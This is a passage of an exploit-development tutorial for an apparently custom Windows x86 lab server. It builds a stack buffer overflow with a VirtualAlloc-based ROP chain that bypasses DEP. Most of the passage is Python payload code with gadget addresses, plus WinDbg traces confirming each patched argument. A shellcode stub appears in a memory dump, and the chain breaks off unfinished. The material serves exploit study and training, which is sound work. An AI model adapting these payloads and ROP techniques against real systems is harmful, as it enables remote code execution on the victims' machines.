Before we go any further, we need to identify bad characters in our payload. Bad characters are bytes that lose their original form or get translated as something else due to how the application processes byte streams. This process usually require sending all possible characters to the target and observing how it reads or interprets them. We can use the code below to find bad characters, if there are any. It’s always safe to assume that \x00 is a bad character because it’s a string terminator, so the application will interpret it as the end of the buffer (null terminator), and depending on where it’s at in the payload, it could cause serious issues that lead to unexpected behavior.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
...
badchars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars += b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars += b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
badchars += b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
badchars += b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
badchars += b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
badchars += b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars += b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
badchars += b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

off  = pack("<L", 0x33444776)
off += pack("<L", 0x90909090)    
off += pack("<L", 0x00000305)                    
off += bytearray([0x41] * 4116)                          # Offset
off += pack("<L", 0x44454144)                            # EIP -> DEAD
off += badchars
off += bytearray([0x41] * (492 - len(badchars))) 
...

We will start the application and attach it to WinDbg as we have done before, then we will send it to the target via a TCP socket. Hopefully this shouldn’t be new to us, because we have done all this leading to this point, the only difference is the buffer we are sending. With the current buffer structure, the bad characters will be directly after the EIP overwrite. Let’s take a look at this from WinDbg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0:001> g
(2510.1978): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00001200 ecx=ce501d99 edx=00000000 esi=0014ed64 edi=001d0000
eip=44454144 esp=0014fd78 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
44454144 ??              ???
0:000> db esp - 10 L120
0014fd68  0f 00 00 00 41 41 41 41-41 41 41 41 44 41 45 44  ....AAAAAAAADAED
0014fd78  01 02 03 04 05 06 07 08-09 0a 0b 0c 0d 0e 0f 10  ................
0014fd88  11 12 13 14 15 16 17 18-19 1a 1b 1c 1d 1e 1f 20  ............... 
0014fd98  21 22 23 24 25 26 27 28-29 2a 2b 2c 2d 2e 2f 30  !"#$%&'()*+,-./0
0014fda8  31 32 33 34 35 36 37 38-39 3a 3b 3c 3d 3e 3f 40  123456789:;<=>?@
0014fdb8  41 42 43 44 45 46 47 48-49 4a 4b 4c 4d 4e 4f 50  ABCDEFGHIJKLMNOP
0014fdc8  51 52 53 54 55 56 57 58-59 5a 5b 5c 5d 5e 5f 60  QRSTUVWXYZ[\]^_`
0014fdd8  61 62 63 64 65 66 67 68-69 6a 6b 6c 6d 6e 6f 70  abcdefghijklmnop
0014fde8  71 72 73 74 75 76 77 78-79 7a 7b 7c 7d 7e 7f 80  qrstuvwxyz{|}~..
0014fdf8  81 82 83 84 85 86 87 88-89 8a 8b 8c 8d 8e 8f 90  ................
0014fe08  91 92 93 94 95 96 97 98-99 9a 9b 9c 9d 9e 9f a0  ................
0014fe18  a1 a2 a3 a4 a5 a6 a7 a8-a9 aa ab ac ad ae af b0  ................
0014fe28  b1 b2 b3 b4 b5 b6 b7 b8-b9 ba bb bc bd be bf c0  ................
0014fe38  c1 c2 c3 c4 c5 c6 c7 c8-c9 ca cb cc cd ce cf d0  ................
0014fe48  d1 d2 d3 d4 d5 d6 d7 d8-d9 da db dc dd de df e0  ................
0014fe58  e1 e2 e3 e4 e5 e6 e7 e8-e9 ea eb ec ed ee ef f0  ................
0014fe68  f1 f2 f3 f4 f5 f6 f7 f8-f9 fa fb fc fd fe ff 41  ...............A
0014fe78  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Based on the output above, there aren’t any bad characters. This will be a good use case for an AI engine, just copy the output above along with the intial badchars and it should be able to find anomalies. It’s also a good practice to do it manually but may be time consuming, there’s always the option to write a script to do most of the heavy lifting. Anyhow, we can move on with the development. We will use rp-win-x86.exe to retrieve rop gadgets from the executable. In this case, this binary has no DLLs, so it should be straightforward.

1
rp-win-x86.exe -f CustomSrv01.exe -r 5 > rop.txt

The flags or switches for rp-win-x86.exe is self-explanatory, -f for the file and -r for the range which is the maximum number of instructions in a gadget. Gadgets with 1–5 instructions are usually the “sweet spot” for stability. Next, we will open this in VS Code or Notepad++ or any editor that allows us to use regex to search for specific gadgets. Let’s start building the ROP chain, and we will start by taking a look at VirtualAlloc prototype, which we can get from Microsoft official website.

1
2
3
4
5
6
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

We will place the VirtualAlloc (VA) function prototype/skeleton before the ROP chain but after the EIP overwrite. We need to make sure all four parameters are setup properly before calling the function. A few things to keep in mind, since we are building this exploit for Windows x86 architecture, the calling convention is _stdcall. In the Windows standard calling convention (stdcall), arguments are pushed onto the stack from right to left (the last argument is pushed first), and the callee (the function being called) is responsible for cleaning up the arguments from the stack before returning execution to the caller. This is a key difference from the default C calling convention (_cdecl), where the caller is responsible for cleanup. Lastly, the function return values are typically stored in the EAX register, which is the same for other calling conventions (_fastcall).

It accepts four main arguments to specify precisely how memory should be handled. The first argument, lpAddress, is the desired starting address for the allocation; passing NULL allows the operating system to automatically determine an appropriate, non-conflicting address. The second argument, dwSize, specifies the size of the region to allocate in bytes. The third argument, flAllocationType, defines the type of allocation operation, using flags such as MEM_COMMIT (to allocate physical storage for reserved pages), MEM_RESERVE (to reserve a range of address space without allocating physical storage), or MEM_DECOMMIT (to release committed pages), often combined with a bitwise OR. The final argument, flProtect, sets the initial memory protection options for the region, dictating permissions like PAGE_READWRITE, PAGE_EXECUTE_READWRITE (appropriate for our use-case), or PAGE_NOACCESS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...
off  = pack("<L", 0x33444776)
off += pack("<L", 0x90909090)    
off += pack("<L", 0x00000305)                    
off += bytearray([0x41] * 4092)                          # Offset

va  = pack("<L", (0x45454545))                           # dummy VirtualAlloc Address
va += pack("<L", (0x46464646))                           # Shellcode Return Address
va += pack("<L", (0x47474747))                           # dummy Shellcode Address
va += pack("<L", (0x48484848))                           # dummy dwSize 
va += pack("<L", (0x49494949))                           # dummy flAllocationType 
va += pack("<L", (0x51515151))                           # dummy flProtect 

eip = pack("<L", 0x44454144)    # EIP -> DEAD
rop = bytearray([0x43] * 492) 

buf = off + va + eip + rop
...

The excerpt above shows the placement of the VA skeleton on the stack, we will send the buffer and confirm it’s where we want it on the stack, which should be right after the DWORD in the EIP register when the application crashes.

1
2
3
4
5
6
7
8
9
0:000> dd esp - 1C
0014fd5c  45454545 46464646 47474747 0000000f
0014fd6c  49494949 51515151 44454144 43434343
0014fd7c  43434343 43434343 43434343 43434343
0014fd8c  43434343 43434343 43434343 43434343
0014fd9c  43434343 43434343 43434343 43434343
0014fdac  43434343 43434343 43434343 43434343
0014fdbc  43434343 43434343 43434343 43434343
0014fdcc  43434343 43434343 43434343 43434343

Everything is almost aligned on the stack as intended, except for dwSize, which is being overwritten by what appears to be a fixed value. We can trace the execution flow to try and understand why, but this shouldn’t matter because we will be patching each argument dynamically with the ROP chain, which means we can patch 0000000f with the appropriate value later. The first step and the start of the ROP chain needs to be a gadget that will preserve the value in the ESP register. We can look through rop.txt for a gadget that will meet this requirement.

Note: I created a script to parse through rop.txt and it returns useful gadgets, which is a lot easier than having to parse through the entire file every time we need a specific gadget. I will include that with the final exploit PoC.

1
0x301011ef: mov eax, esp ; ret  ;  (1 found)

The gadget above is perfect for what we want to do. It allows us to move ESP into EAX, which we will then use thoughout the entire patching process to keep track of where we are relative to the top of the stack; whatever ESP was pointing to. With that said, the first argument that we need to patch is the address of VirtualAlloc itself. We need to get this address at runtime, but we can also check the Import Address Table (IAT) in IDA for this.

IDA IAT

The actual address of VirtualAlloc will change on reboot but the IAT address 0x30114018 *will not change. All we have to do is dereference the IAT address to get the runtime address of VirtualAlloc. We currently have the dummy value *0x45454545 on the stack as a placeholder for this API address, but we need to patch this with the real address using the ROP chain. We need to first locate the placeholder on the stack, then replace the DWORD with the address of VirtualAlloc. This will require more gadgets, and right now we need to make sure the first gadget to preserve ESP works as intended.

0:003> bp 2f4911ef
*** WARNING: Unable to verify checksum for C:\Users\osee\Downloads\CustomSvr01.exe
0:003> g
ModLoad: 75240000 75265000   C:\Windows\SYSTEM32\SspiCli.dll
Breakpoint 0 hit
eax=41414141 ebx=00001200 ecx=2e44b9a7 edx=00000000 esi=0014ed64 edi=001d0000
eip=2f4911ef esp=0014fd78 ebp=51515151 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
CustomSvr01+0x11ef:
2f4911ef 8bc4            mov     eax,esp
0:000> dd esp - 1C
0014fd5c  45454545 46464646 47474747 0000000f
0014fd6c  49494949 51515151 2f4911ef 43434343
0014fd7c  43434343 43434343 43434343 43434343
0014fd8c  43434343 43434343 43434343 43434343
0014fd9c  43434343 43434343 43434343 43434343
0014fdac  43434343 43434343 43434343 43434343
0014fdbc  43434343 43434343 43434343 43434343
0014fdcc  43434343 43434343 43434343 43434343
0:000> ? 1c
Evaluate expression: 28 = 0000001c
0:000> p
eax=0014fd78 ebx=00001200 ecx=2e44b9a7 edx=00000000 esi=0014ed64 edi=001d0000
eip=2f4911f1 esp=0014fd78 ebp=51515151 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
CustomSvr01+0x11f1:
2f4911f1 c3              ret
0:000> p
eax=0014fd78 ebx=00001200 ecx=2e44b9a7 edx=00000000 esi=0014ed64 edi=001d0000
eip=43434343 esp=0014fd7c ebp=51515151 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
43434343 ??              ???

Patching VirtualAlloc Address

It looks like everything is working as expected based on the output above, we just need to find the placeholder DWORD 0x45454545 on the stack and patch it. Normally, we will immediately proceed to preserving the value in the ESP register as we have done above, but we will later realize that it may be harder to properly patch the VA address on the stack. Which is why we want to make sure ESI has the dereferenced VA address first. Then, we will move ESP into EAX with the gadget we found above, before patching the placeholder. Below are the instructions for this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
...
rop  = pack("<L", (mbase << 16) + 0x11c13)                                      # 0x30111c13: pop edx ; ret
rop += pack("<L", (mbase << 16) + 0x14014)                                      # 0x30114014: IAT address
rop += pack("<L", (mbase << 16) + 0x11bc4)                                      # 0x30111bc4: mov eax, dword [edx+0x04] ; ret
rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret
rop += pack("<L", (0x00000000))                                                 # 0x00000000: zero
rop += pack("<L", (mbase << 16) + 0x41bc)                                       # 0x301041bc: add esi, eax ... ; pop edi ; pop ebp ; ret
rop += pack("<L", (0x41414141))                                                 # 0x41414141: junk -> edi
rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> ebp

rop += pack("<L", (mbase << 16) + 0x11ef)                                       # 0x301011ef: mov eax, esp ; ret

rop += pack("<L", (mbase << 16) + 0x11c11)                                      # 0x30111c11: sub al, 0x24 ; pop edx ; ret ;
rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> edx
rop += pack("<L", (mbase << 16) + 0x11c11)                                      # 0x30111c11: sub al, 0x24 ; pop edx ; ret ;
rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> edx
rop += pack("<L", (mbase << 16) + 0x7696)                                       # 0x30107696: add eax, 0x08 ; pop ebp ; ret ;
rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> ebp
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;  
    
rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret
rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> esi
rop += pack("<L", (0x42424242))                                                 # 0x42424242: junk -> ebp
...

At this point, what the EAX register is pointing to should be the address of VirtualAlloc API. As stated earlier, we needed to dereference the IAT address of VA to get the runtime address of VirtualAlloc. The way this works is similar to that of PLT and GOT on Linux, the same concept of lazy-linking applies here. Below is an excerpt from WinDbg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:000> p
eax=41414141 ebx=00001200 ecx=5f2af3ee edx=2f914014 esi=008feab4 edi=005d0000
eip=2f911bc4 esp=008ffad0 ebp=51515151 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
CustomSvr01+0x11bc4:
2f911bc4 8b4204          mov     eax,dword ptr [edx+4] ds:0023:2f914018={KERNEL32!VirtualAllocStub (774a5680)}
...
0:000> p
eax=008ffaac ebx=00001200 ecx=5f2af3ef edx=42424242 esi=774a5680 edi=41414141
eip=2f9076c2 esp=008ffb14 ebp=42424242 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
CustomSvr01+0x76c2:
2f9076c2 8930            mov     dword ptr [eax],esi  ds:0023:008ffaac=45454545
...
0:000> dd eax L8
008ffaac  774a5680 46464646 47474747 0000000f
008ffabc  49494949 51515151 2f911c13 2f914014

Based on the output above, we have successfully patched the first argument for VirtualAlloc dynamically, we will do the same for the others. It should be a little easier because we can reuse alot of the gadgets from earlier. Let’s rock and roll!

Patching lpAddress

We need to know where the start of the shellcode is from EAX at runtime, but we will have to move to the shellcode placeholder on the stack like we did when patching the previous argument. If we try to find the address/offset of the shellcode from EAX at this point on the stack, we will be four bytes off. We can technically account for that before aligning the stack for the next value to patch (return address) based on the dummy value currently on the stack. We need to find a gadget that will take us four bytes higher than EAX, typically an inc instruction will do. The gadgets below will patch the address of the shellcode on the stack, let’s verify it, but first it’s worth noting that the ROP chain for patching the VA return address on the stack is almost identical to the one for lpAddress, so we will show both below:

1
0x30103344: inc eax ; ret  ;

Return Address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
rop += pack("<L", (0xffffae04))                                                 # 0xffffae04: - 20,988
rop += pack("<L", (mbase << 16) + 0x41bc)                                       # 0x301041bc: add esi, eax ; inc ecx ; add al, 0x00 ; pop edi ; pop ebp ; ret  ;
rop += pack("<L", (0x42424242))                                                 # junk -> pop edi
rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0:000> r
eax=005cf950 ebx=00001200 ecx=ffffffe4 edx=00000000 esi=ffffae04 edi=00920000
eip=2f4941bc esp=005cf9ac ebp=42424242 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
CustomSvr01+0x41bc:
2f4941bc 01c6            add     esi,eax
0:000> p
eax=005cf950 ebx=00001200 ecx=ffffffe4 edx=00000000 esi=005ca754 edi=00920000
eip=2f4941be esp=005cf9ac ebp=42424242 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000203
CustomSvr01+0x41be:
2f4941be 41              inc     ecx
0:000> dd esi
005ca754  90909090 0082e8fc 89600000 64c031e5
005ca764  8b30508b 528b0c52 28728b14 264ab70f
005ca774  3cacff31 2c027c61 0dcfc120 f2e2c701
005ca784  528b5752 3c4a8b10 78114c8b d10148e3
005ca794  20598b51 498bd301 493ae318 018b348b
005ca7a4  acff31d6 010dcfc1 75e038c7 f87d03f6
005ca7b4  75247d3b 588b58e4 66d30124 8b4b0c8b
005ca7c4  d3011c58 018b048b 244489d0 615b5b24
0:000> p
...
0:000> dd eax L8
005cf950  005ca754 47474747 0000000f 49494949
005cf960  51515151 2f4911ef 2f49120e ffffffe4
0:000> dd eax -4 L8
005cf94c  774a5680 005ca754 47474747 0000000f
005cf95c  49494949 51515151 2f4911ef 2f49120e

lpAddress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
rop += pack("<L", (0xffffae04))                                                 # 0xffffae04: - 20,992
rop += pack("<L", (mbase << 16) + 0x41bc)                                       # 0x301041bc: add esi, eax ; inc ecx ; add al, 0x00 ; pop edi ; pop ebp ; ret  ;
rop += pack("<L", (0x42424242))                                                 # junk -> pop edi
rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
...
1
2
3
4
5
6
7
8
9
10
...
0:000> p
eax=00dcfc34 ebx=00001200 ecx=ffffffe6 edx=00000000 esi=42424242 edi=42424242
eip=2f4976c6 esp=00dcfcd0 ebp=42424242 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
CustomSvr01+0x76c6:
2f4976c6 c3              ret
0:000> dd eax -8 L8
00dcfc2c  774a5680 00dcaa34 00dcaa34 0000000f
00dcfc3c  49494949 51515151 2f4911ef 2f49120e

Note: If you are not familiar with the VirtualAlloc API, it’s common to see it used with memcpy or similar because its job is to create/allocate memory with certain attributes, but in our case we are using it as a Swiss army knife. Since the location of the shellcode is already in use, when we call VA, it will see that the memory has been marked as reserved, so it will proceed to marking it as executable. Which means the return address and lpAddress are the same, this allows the shellcode to be executed after the return from VA. This is slightly different from WriteProcessMemory, but behaves exactly like VirtualProtect in this context. We have to account for the return address of the function call, because we are not calling it the intended way, the function prologue routine doesn’t apply.

Patching dwSize

dwSize is the second parameter on the stack for VirtualAlloc, keep in mind that VA address and the return address are not official arguments of the API, they get plcaed on the stack before the call. It (dwSize) defines the size of the memory region (in bytes) that we want to change or allocate. Windows manages memory in “pages.” On almost all x86/x64 systems, the minimum page size is 4KB (4096 bytes or 0x1000 hex). Even if the shellcode is only 300 bytes, VirtualAlloc will round up to the nearest page boundary anyway. Specifying 0x1000 ensures we have more than enough executable space for the payload to run without hitting a memory access violation at the edge of a tiny allocation. Basically, we need to make this argument equals 0x1000, and we can pass that with all the zeros, which is one of the benefits of not having bad charecters, simply because the application isn’t using a null terminated function like strcpy.

1
2
3
4
5
6
7
8
9
10
11
...
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
rop += pack("<L", (0x00001000))                                                 # 0x00001000: 4096 bytes (page)
rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0:000> g
Breakpoint 1 hit
eax=010ff6c0 ebx=00001200 ecx=ffffffe6 edx=00000000 esi=00001000 edi=42424242
eip=2f4976c2 esp=010ff774 ebp=42424242 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
CustomSvr01+0x76c2:
2f4976c2 8930            mov     dword ptr [eax],esi  ds:0023:010ff6c0=0000000f
0:000> p
eax=010ff6c0 ebx=00001200 ecx=ffffffe6 edx=00000000 esi=00001000 edi=42424242
eip=2f4976c4 esp=010ff774 ebp=42424242 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
CustomSvr01+0x76c4:
2f4976c4 5e              pop     esi
0:000> p
eax=010ff6c0 ebx=00001200 ecx=ffffffe6 edx=00000000 esi=42424242 edi=42424242
eip=2f4976c5 esp=010ff778 ebp=42424242 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
CustomSvr01+0x76c5:
2f4976c5 5d              pop     ebp
0:000> p
eax=010ff6c0 ebx=00001200 ecx=ffffffe6 edx=00000000 esi=42424242 edi=42424242
eip=2f4976c6 esp=010ff77c ebp=42424242 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
CustomSvr01+0x76c6:
2f4976c6 c3              ret
0:000> dd eax - 8 L8
010ff6b8  010fa4bc 010fa4bc 00001000 49494949
010ff6c8  51515151 2f4911ef 2f49120e ffffffe4

Patching flAllocationType

The flAllocationType parameter tells the Windows kernel exactly how we want it to handle the memory region we are targeting. In this case, we almost always use the value 0x3000, which is a bitwise combination of MEM_COMMIT (0x1000) and MEM_RESERVE (0x2000). MEM_RESERVE sets aside a range of virtual addresses so no other process can use them, while MEM_COMMIT actually allocates the physical memory or paging file space for that range. Since we are modifying existing memory (shellcode) to bypass DEP, MEM_COMMIT is required to ensure the memory is “backed” and ready for the permission change we will be requesting in the final parameter (flProtect), so we need to set that to 0x1000 like we did with dwSize, maybe we can reuse the same ROP chain. As before, we place that value in the ROP chain as is because we don’t have any bad characters, lets take a look:

1
2
3
4
5
6
7
8
9
10
11
...
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
rop += pack("<L", (0x00001000))                                                 # 0x00001000: 0x1000 -> MEM_COMMIT
rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:000> g
Breakpoint 1 hit
eax=0073f744 ebx=00001200 ecx=ffffffe6 edx=00000000 esi=00001000 edi=42424242
eip=2f4976c2 esp=0073f818 ebp=42424242 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
CustomSvr01+0x76c2:
2f4976c2 8930            mov     dword ptr [eax],esi  ds:0023:0073f744=49494949
0:000> p
eax=0073f744 ebx=00001200 ecx=ffffffe6 edx=00000000 esi=00001000 edi=42424242
eip=2f4976c4 esp=0073f818 ebp=42424242 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
CustomSvr01+0x76c4:
2f4976c4 5e              pop     esi
0:000> dd eax - 10 L8
0073f734  774a5680 0073a53c 0073a53c 00001000
0073f744  00001000 51515151 2f4911ef 2f49120e

Patching flProtect

flProtect is the fourth and final parameter of the VirtualAlloc function, and arguably the most critical for our purpose because it defines the access permissions of the allocated memory. The magic value for this is 0x40, which represents PAGE_EXECUTE_READWRITE. By setting this flag, we are instructing the CPU to allow instructions to be executed from that memory region while still retaining the ability to read and write data (like the shellcode) to it. Without this specific protection constant, the processor would trigger an Access Violation exception the moment execution hits the payload, effectively stopping the exploit in its tracks. As before, we will be using the same ROP chain from above, but we will change the value being popped into ESI to 0x40. Let’s make it happen:

1
2
3
4
5
6
7
8
9
10
11
...
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;
rop += pack("<L", (mbase << 16) + 0x3344)                                       # 0x30103344: inc eax ; ret ;                                                                         
rop += pack("<L", (mbase << 16) + 0x15d7)                                       # 0x301015d7: pop esi ; ret ;
rop += pack("<L", (0x00000040))                                                 # 0x00000040: 0x40 -> PAGE_EXECUTE_READWRITE
rop += pack("<L", (mbase << 16) + 0x76c2)                                       # 0x301076c2: mov dword [eax], esi ; pop esi ; pop ebp ; ret  ;
rop += pack("<L", (0x42424242))                                                 # junk -> pop esi
rop += pack("<L", (0x42424242))                                                 # junk -> pop ebp
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:000> g
Breakpoint 1 hit
eax=010ff7f8 ebx=00001200 ecx=ffffffe6 edx=00000000 esi=00000040 edi=42424242
eip=2f4976c2 esp=010ff8ec ebp=42424242 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
CustomSvr01+0x76c2:
2f4976c2 8930            mov     dword ptr [eax],esi  ds:0023:010ff7f8=51515151
0:000> p
eax=010ff7f8 ebx=00001200 ecx=ffffffe6 edx=00000000 esi=00000040 edi=42424242
eip=2f4976c4 esp=010ff8ec ebp=42424242 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
CustomSvr01+0x76c4:
2f4976c4 5e              pop     esi
0:000> dd eax - 14 L8
010ff7e4  2f4a4018 010fa5ec 010fa5ec 00001000
010ff7f4  00001000 00000040 2f4911ef 2f49120e

Return to VirtualAlloc

1
2
3
0:000> dd eax - 14 L8
010ff7e4  774a5680 010fa5ec 010fa5ec 00001000
010ff7f4  00001000 00000040 2f4911ef 2f49120e

Looking at the state of the stack in the excerpt from WinDbg above, it’s safe to say we have successfully patched all the arguments on the stack. We just need to make sure EAX points four bytes to the left of VA, then we will exchage EBP and EAX, then move EBP into ESP, and do a pop into EBP, which should make ESP point to VA and resume the execution flow. Let’s check out the instructions:

1
2
3
4
5
6
7
8
9
...
rop += pack("<L", (mbase << 16) + 0x120e)                                       # 0x3010120e: pop ecx ; ret ;
rop += pack("<L", (0xffffffe8))                                                 # -0x18: - 24
